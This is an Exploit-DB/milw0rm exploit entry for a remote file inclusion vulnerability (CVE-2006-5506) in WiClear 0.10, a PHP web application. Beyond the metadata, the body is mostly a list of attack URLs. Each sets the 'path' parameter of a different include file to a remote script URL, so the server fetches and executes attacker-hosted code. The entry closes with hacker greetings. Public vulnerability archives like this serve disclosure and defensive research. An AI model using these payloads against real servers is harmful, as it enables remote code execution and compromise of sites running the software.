WiClear 0.10 - 'path' Remote File Inclusion
Author: the master
type: webapps
platform: php
port:
date_added: 2006-10-22
date_updated: 2016-09-14
verified: 1
codes: OSVDB-29949;CVE-2006-5506;OSVDB-29948;OSVDB-29947;OSVDB-29946;OSVDB-29945;OSVDB-29944;OSVDB-29943;OSVDB-29942
tags:
aliases:
screenshot_url:
application_url: http://www.exploit-db.comwiclear-0.10.tgz
########################################################################
# wiclear v0.10 Remote File Inclusion Vulnerability
#
# Download: http://wiclear.free.fr/download/wiclear-0.10.tgz
#
# Found By: the master (nidhal)
#
########################################################################
# exploit:
#
# http://[Target]/[Path]/admin/inc/prepend.inc.php?path=http://cmd.gif?
# http://[Target]/[Path]/admin/inc/lib/boxes.lib.php?path=http://cmd.gif?
# http://[Target]/[Path]/admin/inc/lib/tools.lib.php?path=http://cmd.gif?
# http://[Target]/[Path]/admin/tools/trackback/index.php?path=http://cmd.gif?
# http://[Target]/[Path]/admin/tools/utf8conversion/index.php?path=http://cmd.gif?
# http://[Target]/[Path]/inc/prepend.inc.php?path=http://cmd.gif?
# http://[Target]/[Path]/inc/lib/boxes.lib.php?path=http://cmd.gif?
# http://[Target]/[Path]/inc/lib/history.lib.php?path=http://cmd.gif?
#
#
# Greetz: str0ke , Dr Max Virus , The Small Hacker , crack_man
########################################################################
# milw0rm.com [2006-10-23]